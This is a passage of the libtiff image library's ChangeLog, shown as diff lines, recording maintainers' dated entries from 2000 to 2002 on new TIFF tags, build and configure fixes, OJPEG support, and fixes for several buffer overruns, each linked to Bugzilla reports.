+	* libtiff/tif_dir.c,tif_dirinfo.c,tif_dir.h,tif_ojpeg.c: modified so 
+	that TIFFTAG_SOFTWARE uses FIELD_CUSTOM as an example.
+
+2002-03-26  Dwight Kelly  <dbmalloc@remotesensing.org>
+
+	* libtiff/: tiff.h, tif_dir.c, tif_dir.h, tif_dirinfo.c, tif_dirread.c,
+	tif_dirwrite.c: Added get/put code for new tag XMLPACKET as defined
+	in Adobe XMP Technote. Added missing INKSET tag value from TIFF 6.0 spec 
+	INKSET_MULTIINK (=2). Added missing tags from Adobe TIFF technotes: 
+	CLIPPATH, XCLIPPATHUNITS, YCLIPPATHUNITS, OPIIMAGEID, OPIPROXY and
+	INDEXED. Added PHOTOMETRIC tag value from TIFF technote 4 ICCLAB (=9).
+
+2002-03-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/: tif_getimage.c: TIFFReadRGBAStrip and TIFFReadRGBATile
+	now also uses TIFFRGBAImageOK before reading. This is additional fix
+	for http://bugzilla.remotesensing.org/show_bug.cgi?id=110
+
+2002-03-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/: tif_getimage.c: Additional check for supported
+	codecs added in TIFFRGBAImageOK and TIFFReadRGBAImage now uses
+	TIFFRGBAImageOK before reading.
+	Closes http://bugzilla.remotesensing.org/show_bug.cgi?id=110
+
+2002-03-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/: tif_dir.c, tif_dir.h, tif_dirinfo.c, tif_dirread.c,
+	tif_dirwrite.c: Added routine TIFFDataWidth for detrmining
+	TIFFDataType sizes instead of working with tiffDataWidth array
+	directly. Should prevent out-of-borders bugs in case of unknown or
+	broken data types.  EstimateStripByteCounts routine modified, so it
+	won't work when tags with uknown sizes founded.
+	Closes http://bugzilla.remotesensing.org/show_bug.cgi?id=109
+
+2002-03-13  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_getimage.c: Added support for correct handling
+	`Orientation' tag in gtTileContig. Should be added in other gt*
+	functions as well, but I have not images for testing yet. Partially
+	resolves http://bugzilla.remotesensing.org/show_bug.cgi?id=23
+
+2002-03-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/: tif_dirinfo.c, tif_dirwrite.c: Added possibility to
+	read broken TIFFs with LONG type used for TIFFTAG_COMPRESSION,
+	TIFFTAG_BITSPERSAMPLE, TIFFTAG_PHOTOMETRIC.  Closes
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=99
+
+2002-03-08  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/Makefile.in, tools/Makefile.in: Shared library will not
+	be stripped when installing, utility binaries will do.	Closes
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=93
+
+2002-02-28  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* man/TIFFGetField: fixed type of TIFFTAG_COPYRIGHT.
+
+	* man/libtiff.3t: added copyright tag info.
+
+2002-02-11  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/{tiff.h,tif_fax3.c}: Add support for __arch64__.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=94
+
+	* man/Makefile.in: Patch DESTDIR handling 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=95
+
+	* configure: OpenBSD changes for Sparc64 and DSO version.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=96
+
+2002-02-05  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* config.site/configure: added support for OJPEG=yes option to enable
+	OJPEG support from config.site.
+
+2002-01-27  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* html/document.html: fixed links for TIFf 6 docs.
+
+2002-01-18  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* config.guess, config.sub: Updated from ftp.gnu.org/pub/config.
+
+	* libtiff/tif_read.c: Fixed TIFFReadEncodedStrip() to fail if the
+	decodestrip function returns anything not greater than zero as per
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=97
+
+	* configure: Modify CheckForBigEndian so it can work in a cross
+	compiled situation.
+
+2002-01-16  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/tiffdump.c: include TIFFTAG_JPEGTABLES in tag list.
+
+	* tools/tiffset.c: fix bug in error reporting.
+
+	* tools/tiffcp.c: fix several warnings that show up with -Wall.
+
+2002-01-04  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: fixed computation of segment_width for 
+	tiles files to avoid error about it not matching the 
+	cinfo.d.image_width values ("JPEGPreDecode: Improper JPEG strip/tile 
+	size.") for ITIFF files.  Apparently the problem was incorporated since
+	3.5.5, presumably during the OJPEG/JPEG work recently.
+
+2001-12-15  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* configure, libtiff/Makefile.in: Changes for building on MacOS 10.1.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=94
+
+	* libtiff/tif_getimage.c: If DEFAULT_EXTRASAMPLE_AS_ALPHA is 1 
+	(defined in tiffconf.h - 1 by default) then the RGBA interface
+	will assume that a fourth extra sample is ASSOCALPHA if the
+	EXTRASAMPLE value isn't set for it.  This changes the behaviour of
+	the library, but makes it work better with RGBA files produced by
+	lots of applications that don't mark the alpha values properly.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=93
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=65
+
+2001-12-12  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: allow jpeg data stream sampling values to 
+	override those from tiff directory.  This makes this work with 
+	ImageGear generated files. 
+
+2001-12-07  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* html/Makefile.in: added missing images per bug 92.
+
+	* port/Makefile.in: fixed clean target per bug 92.
+
+2001-11-28  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Reissue 3.5.7 release.
+
+	* libtiff/mkversion.c: Fix output of TIFF_VERSION to be
+	YYYYMMDD so that it is increasing over time. 
+
+	* Makefile.in: Ensure that tiffvers.h is regenerated in the
+	make release target.
+
+	* Makefile.in: added libtiff/tiffvers.h to the release file list.
+
+2001-11-23  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* added html/v3.5.7.html, updated html/index.html.
+
+	* Makefile.in: added contrib/addtiffo/tif_ovrcache.{c,h}.
+
+2001-11-15  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* configure: fixed test for -lm.
+
+2001-11-02  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Added PHOTOMETRIC_ITULAB as per bug 90.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=90
+
+2001-10-10  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tiff.h: I have created COMPRESSION_CCITT_T4, 
+	COMPRESSION_CCITT_T6, TIFFTAG_T4OPTIONS and TIFFTAG_T6OPTIONS aliases 
+	in keeping with TIFF 6.0 standard in tiff.h
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=83
+
+2001-09-26  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirwrite.c: added TIFFRewriteDirectory() function.
+	Updated TIFFWriteDirectory man page to include TIFFRewriteDirectory.
+
+2001-09-24  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_lzw.c: Avoid MS VC++ 5.0 optimization bug.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=78
+
+	* libtiff/tif_lzw.c: added dummy LZWSetupEncode() to report an
+	error about LZW not being available.
+
+	* libtiff/tif_dir.c: propagate failure to initialize compression
+	back from TIFFSetField() as an error status, so applications can 
+	detect failure.
+
+	* libtiff/tif_dir.c: removed the auto replacement of 
+	COMPRESSION_LZW with COMPRESSION_NONE in _TIFFVSetField().
+
+	* Removed Makefile, tools/Makefile, port/install.sh, man/Makefile
+	from CVS as they are all supposed to be auto-generated by configure.
+
+2001-09-22  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_ojpeg.c: new update from Scott. 
+
+2001-09-09  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtif/tif_fax3.c: Removed #ifdef PURIFY logic, and modified to
+	always use the "safe" version, even if there is a very slight
+	cost in performance.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=54
+
+	* libtiff/Makefile.in: Fixed @DSOSUB_VERSION to be @DSOSUF_VERSION@
+	in two places.
+
+	* libtiff/tif_getimage.c: Fixed problem with reading strips or
+	tiles that don't start on a tile boundary.  Fix contributed by
+	Josep Vallverdu (from HP), and further described in bug 47.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=47
+
+	* tools/tiff2ps.c: added OJPEG YCbCr to RGB support. 
+
+	* libtiff/tif_ojpeg.c: Applied substantial patch from Scott.
+
+2001-09-06  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_packbits.c: fixed memory overrun error.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=77
+	
+2001-08-31  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_getimage.c: relax handling of contig case where
+	there are extra samples that are supposed to be ignored.  This
+	should now work for 8bit greyscale or palletted images.  
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=75	
+
+2001-08-28  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_getimage.c: Don't complain for CMYK (separated)
+	images with more than four samples per pixel.  See:
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=73
+
+2001-08-10  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_getimage.c: Use memmove() instead of TIFFmemcpy()
+	in TIFFReadRGBATile() to avoid issues in cases of overlapping
+	buffers.  See Bug 69 in Bugzilla. 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=69
+	
+	* tools/tiff2rgba.c: fixed getopt() call so that -b works again.
+
+2001-08-09  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tiff.h, libtiff/tif_fax3.c: added check for __LP64__ 
+	when checking for 64 bit architectures as per bugzilla bug 67.
+
+2001-07-27  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* man/Makefile.in: add TIFFClientOpen link as per debian submitted
+	bug 66.
+
+2001-07-20  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: Define HAVE_BOOLEAN on windows if RPCNDR.H 
+	has been included.
+
+2001-07-19  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_open.c: Seek back to zero after failed read,
+	before writing header.
+
+2001-07-18  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_ojpeg.c: updates from Scott.  Handles colors
+	much better.  Now depends on having patched libjpeg as per
+	patch in contrib/ojpeg/*. 
+
+2001-07-17  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* */Makefile.in: added DESTDIR support. 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=60
+
+2001-07-16  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* configure, libtiff/Makefile.in: applied OpenBSD patches
+	as per:
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=61
+
+2001-06-28  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_getimage.c: Fixed so that failure is properly
+	reported by gtTileContig, gtStripContig, gtTileSeparate and 
+	gtStripSeparate.
+
+	See http://bugzilla.remotesensing.org/show_bug.cgi?id=51
+
+	* tiffcmp.c: Fixed multi samples per pixel support for ContigCompare.  
+	Updated bug section of tiffcmp.1 to note tiled file issues.
+	
+	See http://bugzilla.remotesensing.org/show_bug.cgi?id=53
+
+2001-06-22  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* configure: Changes for DSO generation on AIX provided by
+	John Marquart <jomarqua@indiana.edu>.
+
+	* configure, libtiff/Makeifle.in: Modified to build DSOs properly
+	on Darwin thanks to Robert Krajewski (rpk@alum.mit.edu) and
+	Keisuke Fujii (fujiik@jlcuxf.kek.jp).
+
+2001-06-13  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/tiff2rgba.c: added -n flag to avoid emitting alpha component.
+
+	* man/tiff2rgba.1: new
+
+2001-05-22  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Added tiffset and tif_ojpeg to the dist lists in Makefile.in.
+
+2001-05-13  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tools/thumbnail.c: changed default output compression
+	to packbits from LZW since LZW isn't generally available.
+
+2001-05-12  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_ojpeg.c: New.
+	libtiff/tif_jpeg.c, tiffconf.h, tif_getimage.c: changes related
+	to OJPEG support.
+
+	Scott Marovich <marovich@hpl.hp.com> supplied OJPEG support.
+
+2001-05-11  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tiff.h: removed, it duplicates libtiff/tiff.h.
+
+2001-05-08  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirinfo.c: moved pixar and copyright flags to 
+	ensure everything is in order.
+
+	* libtiff/libtiff.def: added TIFFCreateDirectory and 
+	TIFFDefaultStripSize as per:
+
+	  http://bugzilla.remotesensing.org/show_bug.cgi?id=46
+
+2001-05-02  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirinfo.c: Modified the TIFF_BYTE definition for
+	TIFFTAG_PHOTOSHOP to use a writecount of TIFF_VARIABLE2 (-3) to
+	force use of uint32 counts instead of short counts. 
+
+	* libtiff/tif_dirwrite.c: Added support for TIFF_VARIABLE2 in the
+	case of writing TIFF_BYTE/TIFF_SBYTE fields.  
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=43
+
+2001-05-01  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirinfo.c: removed duplicate TIFFTAG_PHOTOSHOP as per
+	bug report http://bugzilla.remotesensing.org/show_bug.cgi?id=44
+
+2001-04-05  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tiffio.h: removed C++ style comment.
+
+	* configure: fixed up SCRIPT_SH/SHELL handling.
+
+	* Makefile.in: Fixed SCRIPT_SH/SHELL handling.
+
+	* config.guess: documented more variables as per bug 40.
+
+2001-04-03  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* configure, *Makefile.in: Various changes to improve configuration
+	for HP/UX specifically, and also in general.  They include:
+	 - Try to handle /usr/bin/sh instead of /bin/sh where necessary.
+	 - Upgrade to HP/UX 10.x+ compiler, linker and dso options.
+	 - Fixed mmap() test to avoid MMAP_FIXED ... it isn't available on HP
+	 - Use -${MAKEFLAGS} in sub makes from makefiles.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=40
+
+2001-04-02  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tiff.h: Applied hac to try and resolve the problem
+	with the inttypes.h include file on AIX.
+
+	See http://bugzilla.remotesensing.org/show_bug.cgi?id=39
+	
+	* VERSION: update to 3.5.7 beta in preparation for release.
+
+	* configure/config.site: modified to check if -lm is needed for
+	MACHDEPLIBS if not supplied by config.site.  Needed for Darwin.
+
+	* config.guess: updated wholesale to an FSF version apparently 
+	from 1998 (as opposed to 1994).  This is mainly inspired by 
+	providing for MacOS X support.
+
+2001-03-29  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* configure, Makefile.in, etc: added support for OPTIMIZER being
+	set from config.site. 
+
+2001-03-28  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* fax2ps.c: Helge (libtiff at oldach.net) submitted fix:
+
+	Here's a fix for fax2ps that corrects behaviour for non-Letter paper
+	sizes. It fixes two problems:
+
+	Without	scaling (-S) the fax is now centered on the page size specified
+	with -H	and/or -W. Before, fax2ps was using an obscure and practially
+	useless algorithm to allocate the image relative to Letter sized paper
+	which sometime sled to useless whitespace on the paper, while at the
+	same time cutting of the faxes printable area at the opposite border.
+
+	Second, scaling now preserves aspect ratio, which makes unusual faxes
+	(in particular short ones) print properly.
+
+	See http://bugzilla.remotesensing.org/show_bug.cgi?id=35
+	
+	* tiff2ps.c/tiff2ps.1: Substantial changes to tiff2ps by
+	Bruce A. Mallett.  See check message for detailed information
+	on all the changes, including a faster encoder, fixes for level
+	2 PostScript, and support for the imagemask operator.
+
+2001-03-27  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tiffio.h: Changed "#if LOGLUV_PUBLIC" to 
+	"#ifdef LOGLUV_PUBLIC" so it will work with VisualAge on AIX.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=39
+
+2001-03-16  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_dirinfo.c: moved definition of copyright tag in field list.
+	Apparently they have to be in sorted order by tag id.
+
+2001-03-13  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_getimage.c: Added support for 16bit minisblack/miniswhite 
+	images in RGBA interface.
+
+2001-03-02  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Added TIFFTAG_COPYRIGHT support.
+
+2001-02-19  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Brent Roman contributed updated tiffcp utility (and tiffcp.1)
+	with support for extracting subimages with the ,n syntax, and also
+	adding the -b bias removal flag. 
+
+2001-02-16  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/libtiff.def: Brent Roman submitted new version adding
+	serveral missing entry points. 
+
+	* libtiff/tif_dirinfo.c: don't declare tiffFieldInfo static on VMS.
+	Some sort of weird VMS thing.  
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=31
+
+	* tif_luv.c/tiff.h/tiffio.h: 
+	New version of TIFF LogLuv (SGILOG) modules contributed by Greg Ward 
+	(greg@shutterfly.com).  He writes:
+
+	1) I improved the gamut-mapping function in tif_luv.c for imaginary
+	colors, because some images were being super-saturated on the input 
+	side and this resulted in some strange color shifts in the output.
+
+	2) I added a psuedotag in tiff.h to control random dithering during
+	LogLuv encoding.  This is turned off by default for 32-bit LogLuv and 
+	on for 24-bit LogLuv output.  Dithering improves the average color 
+	accuracy over the image.
+
+	3) I added a #define for LOG_LUV_PUBLIC, which is enabled by default in
+	tiffio.h, to expose internal routines for converting between LogLuv and
+	XYZ coordinates.  This is helpful for writing more efficient,
+	specialized conversion routines, especially for reading LogLuv files.
+
+	Changes applied with minor edits.
+
+2001-01-23  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_fax3.c: keep rw_mode flag internal to fax3 state to remember
+	whether we are encoding or decoding.  This is to ensure graceful 
+	recovery if TIFFClientOpen() discovers an attempt to open a compressed
+	file for "r+" access, and subsequently close it, as it resets the 
+	tif_mode flag to O_RDONLY in this case to avoid writes, confusing the
+	compressor's concept of whether it is in encode or decode mode.
+
+2001-01-08  Mike Welles <mike@bangstate.com> 
+
+	* Makefile.in:  Now cleaning up after itself after creating the .tar.gz and .zip
+	
+2001-01-07  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* html/libtiff.html: Fixed arguments in example for TIFFRGBAImageGet()
+	as per bug report by Patrick Connor. 
+
+2000-12-28  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Added RELEASE-DATE file to release file list.
+
+	* Fixed libtiff/makefile.vc to make tiffvers.h not version.h.
+
+2000-12-22  Mike Welles <mike@bangstate.com> 
+        * added link to CVS mirror from index.html
+	
+	* updated html/internals.html to note that LZW compression is 
+	  not supported by default. 
+	
+2000-12-22  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* updated html/libtiff.html to not point at Niles' old JPL web site
+	for the man pages, point at www.libtiff.org.
+
+2000-12-21  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_apple.c: Applied "Carbon" support patches supplied by
+	Leonard Rosenthol <leonardr@lazerware.com>.  May interfere
+	with correct building on older systems.  If so, please let me know.
+
+2000-12-19 Mike Welles <mike@bangsate.com>   
+
+	* Took out LZW Encoding from tif_lzw.c 
+
+	* Created HOWTO-RELEASE
+
+	* Created html/v3.5.6.html
+
+	* updated index.html
+	
+2000-12-01  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Added patches for EOFB support in tif_fax3.c and tif_fax3.h. 
+	Patches supplied by Frank Cringle <fdc@cliwe.ping.de>
+	Example file at: ftp://ftp.remotesensing.org/pub/libtiff/eofb_396.tif
+
+2000-11-24  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/Makefile.in: Added an installPrivateHdrs and install-private
+	target so that the private headers required by libgeotiff can be
+	installed with the others.  They are not installed by default.
+
+	* libtiff/Makefile.in: Added @MACHLIBDEPS@ to LINUXdso and GNULDdso
+	targets so libtiff.so will be built with an explicit dependency
+	on libm.so.
+
+	* libtiff/Makefile.in: Use softlinks to link libtiff.so.3 to 
+	libtiff.so.3.5.5.  
+
+	* libtiff/Makefile.in & configure: Remove all references to the ALPHA 
+	file, or ALPHA version logic.  Added stuff about DIST_POINT in 
+	place of DIST_TYPE and the alpha release number stuff.
+
+2000-11-22  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* I have applied a patch from Steffen Moeller <moeller@ebi.ac.uk> to
+	the configure script so that it now accepts the --prefix, and 
+	--exec-prefix directives. 
+
+2000-11-13  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* I have made a variety of modifications in an effort to ensure the 
+	TIFFLIB_VERSION macro is automatically generated from the RELEASE-DATE
+	file which seems to be updated regularly.  
+
+	 o mkversion.c now reads RELEASE-DATE and emits TIFFLIB_VERSION in 
+	   version include file. 
+	 o renamed version.h to tiffvers.h because we now have to install it 
+	   with the public libtiff include files.  
+	 o include tiffvers.h in tiffio.h. 
+	 o updated tif_version.c to use tiffvers.h.
+	 o Updated Makefile.in accordingly.
+
+	* As per http://bugzilla.remotesensing.org/show_bug.cgi?id=25
+	I have updated the win32 detection rules in tiffcomp.h.
+
+2000-10-20  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* tif_getimage.c: Fixed RGBA translation for YCbCr images for which
+	the strip/tile width and height aren't multiples of the sampling size.
+	See http://bugzilla.remotesensing.org/show_bug.cgi?id=20
+	Some patches from Rick LaMont of Dot C Software.
+
+	* Modified tif_packbits.c encoder to avoid compressing more 
+	data than provided if rowsize doesn't factor into provided data
+	(such as occurs for YCbCr).
+
+2000-10-19  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* tools/rgb2ycbcr.c: fixed output strip size to account for vertical 
+	roundup if rows_per_strip not a multiple of vertical sample size.
+
+2000-10-16  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* tif_dir.c: Clear TIFF_ISTILED flag in TIFFDefaultDirectory
+	as per http://bugzilla.remotesensing.org/show_bug.cgi?id=18
+	from vandrove@vc.cvut.cz.
+
+	* Modified tif_packbits.c decoding to avoid overrunning the
+	output buffer, and to issue a warning if data needs to be
+	discarded.  See http://bugzilla.remotesensing.org/show_bug.cgi?id=18
+
+2000-10-12  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* Modified tiff2bw to ensure portions add to 100%, and that
+	white is properly recovered. 
+	
+	See bug http://bugzilla.remotesensing.org/show_bug.cgi?id=15
+	Patch c/o Stanislav Brabec <utx@penguin.cz>
+
+2000-09-30  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* Modified TIFFClientOpen() to emit an error on an attempt to
+	open a comperessed file for update (O_RDWR/r+) access.  This is
+	because the compressor/decompressor code gets very confused when
+	the mode is O_RDWR, assuming this means writing only.  See
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=13
+
+2000-09-27  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* Added GNULDdso target an`d switched linux and freebsd to use it. 
+
+2000-09-26  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* Applied patch for 0x0000 sequences in tif_fax3.h's definition
+	of EXPAND1D() as per bug 11 (from Roman). 
+
+2000-09-25  Frank Warmerdam  <warmerda@cs46980-c>
+	* Fixed tiffcomp.h to avoid win32 stuff if unix #defined, to improve
+	cygwin compatibility.
+
+	* Applied patch from Roman Shpount to tif_fax3.c.  This seems to
+	be a proper fix to the buffer sizing problem.  See 
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=11
+
+	* Fixed tif_getimage.c to fix overrun bug with YCbCr images without
+	downsampling.  http://bugzilla.remotesensing.org/show_bug.cgi?id=10
+	Thanks to Nick Lamb <njl98r@ecs.soton.ac.uk> for reporting the
+	bug and proving the patch.
+	
+2000-09-18  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* Fixed tif_jpeg.c so avoid destroying the decompressor before
+	we are done access data thanks to bug report from:
+	Michael Eckstein <eckstein@gepro.cz>.
+
+	* Reverted tif_flush change.
+
+2000-09-14  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* tif_flush.c: Changed so that TIFFFlushData() doesn't return an
+	error when TIFF_BEENWRITING is not set.  This ensures that the
+	directory contents can still be flushed by TIFFFlush().
+
+2000-08-14  Frank Warmerdam  <warmerda@rommel.atlsci.com>
+
+	* tif_open.c: Don't set MMAP for O_RDWR files.
+
+	* tif_open.c: Set STRIPCHOP_DEFAULT for O_RDWR as well as O_RDONLY
+	so that files opened for update can be strip chopped too.
+
+	* tif_read.c: fixed up bug with files missing rowsperstrip and
+	the strips per separation fix done a few weeks ago.
+
+2000-07-17  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* Tentatively added support for SAMPLEFORMAT_COMPLEXIEEEFP, and
+	SAMPLEFORMAT_COMPLEXINT.
+
+2000-07-13  Mike Welles <mike@onshore.com> 
+
+	* index.html, bugs.html: added bugzilla info. 
+	
+2000-07-12  Frank Warmerdam  <warmerda@rommel.atlsci.com>
+
+	* tif_read.c: fix subtle bug with determining the number of
+	rows for strips that are the last strip in a separation but
+	not the last strip of all in TIFFReadEncodedStrip().  
+
+	* Applied 16/32 bit fix to tif_fax3.c.  Fix supplied by
+	Peter Skarpetis <peters@serendipity-software.com.au>
+
+2000-06-15  Frank Warmerdam  <warmerda@rommel.atlsci.com>
+
+	* Modified tiffio.h logic with regard to including windows.h.  It
+	won't include it when building with __CYGWIN__.
+
+2000-05-11  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* README: update to mention www.libtiff.org, don't list Sam's old
+	email address.
+
+	* configure: Fixed DSO test for Linux as per patch from
+	  Jan Van Buggenhout <chipzz@Ace.ULYSSIS.Student.KULeuven.Ac.Be>.
+
+2000-04-21  Frank Warmerdam  <warmerda@rommel.atlsci.com>
+
+	* libtiff/tif_dirread.c: Don't use estimate strip byte count for
+	one tile/strip images with an offset, and byte count of zero. These
+	could be "unpopulated" images. 
+
+2000-04-18  Frank Warmerdam  <warmerda@rommel.atlsci.com>
+
+	* contrib/addtiffo: Added "averaging" resampling option.
+
+	* tools/tiffsplit.c: Copy TIFFTAG_SAMPLEFORMAT.
+
+Tue Apr 18 16:18:08 2000  Frank Warmerdam  <warmerda@esabot.atlsci.com>
+
+	* tools/Makefile.in: Modified to install properly on SGI.
+
+2000-04-12  Mike Welles	     <mike@onshore.com>
+	* configure:  Fixed stupid mistake in libc6 test on Linux
+
+2000-04-04  Mike Welles	     <mike@onshore.com> 
+	* tif_win32.c:  Applied patch to fix overreads and ovverwrites
+	  caught by BoundsChecker.  From Arvan Pritchard 
+	  <arvan.pritchard@infomatix.co.uk>  (untested). 
+	
+	* tif_getimage.c:  Applied patch to silence VC6 warnings.  From 
+	  Arvan Pritchard <arvan.pritchard@informatix.co.uk>
+	
+	* tif_lzw.c:  Applied patch to silence VC6 warnings.  From 
+	  Arvan Pritchard <arvan.pritchard@informatix.co.uk>
+	
+2000-03-28  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* Added contrib/stream (stream io) code submitted by Avi Bleiweiss.
+
+2000-03-28  Frank Warmerdam  <warmerda@cs46980-c>    *** 3.5.5 release ***
+
+	* fax2ps: Fixed mixup of width and height in bounding box statement
+	as per submission by Nalin Dahyabhai <nalin@redhat.com>.
+
+2000-03-27  Mike Welles	     <mike@onshore.com> 
+
+	* fax2ps:  Modified printruns to take uint32 instead of uint16.  
+	Patch courtesy of Bernt Herd <herd@herdsoft.com> 
+	
+2000-03-20  Mike Welles	     <mike@onshore.com> 
+
+	* configure: added test for libc6 for linux targets.  Bug reported by 
+        Stanislav Brabec <utx@k332.feld.cvut.cz>
+
+	* Added 3.5 docs to html/Makefile.in.  
+	Thanks to  Stanislav Brabec <utx@k332.feld.cvut.cz>
+
+	* configure: fixed bugs in sed scripts 
+	(applied sed script s:/@:s;@:;s:/s;;:;: to configure). 
+	fix submitted to Stanislav Brabec <utx@k332.feld.cvut.cz>
+
+	* tools/iptcutil was not in files list, and wasn't being 
+	added to tar archive.  Updated Makefile.in.
+
+2000-03-17  Frank Warmerdam  <warmerda@cs46980-c>
+
+	* tif_fax3.c: Fixed serious bug introduced during the uint16->uint32
+	conversion for the run arrays.  
+
+2000-03-03  Frank Warmerdam  <warmerda@cs46980-c.mtnk1.on.wave.home.com>
+
+	* Set td_sampleformat default to SAMPLEFORMAT_UINT instead of 
+	SAMPLEFORMAT_VOID in TIFFDefaultDirectory() in tif_dir.c.
+
+2000-03-02  Frank Warmerdam  <warmerda@cs46980-c.mtnk1.on.wave.home.com>
+
+	* Added "GetDefaulted" support for TIFFTAG_SAMPLEFORMAT in tif_aux.c.
+
+	* Patched tif_fax3.c so that dsp->runs is allocated a bit bigger
+	to avoid overruns encountered with frle_bug.tif.
+
+Tue Feb 15 22:01:05 2000  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Fixed tools/tiffcmp so that stopondiff testing works.
+	  Patch care of Joseph Orost <joe@sanskrit.lz.att.com>.
+
+2000-01-28    <warmerda@CS46980-B>
+
+	* Modified tif_unix.c to support 2-4GB seeks if USE_64BIT_API is
+	  set to 1, and added default (off) setting in tiffconf.h.  This
+	  should eventually be set by the configure script somehow.
+
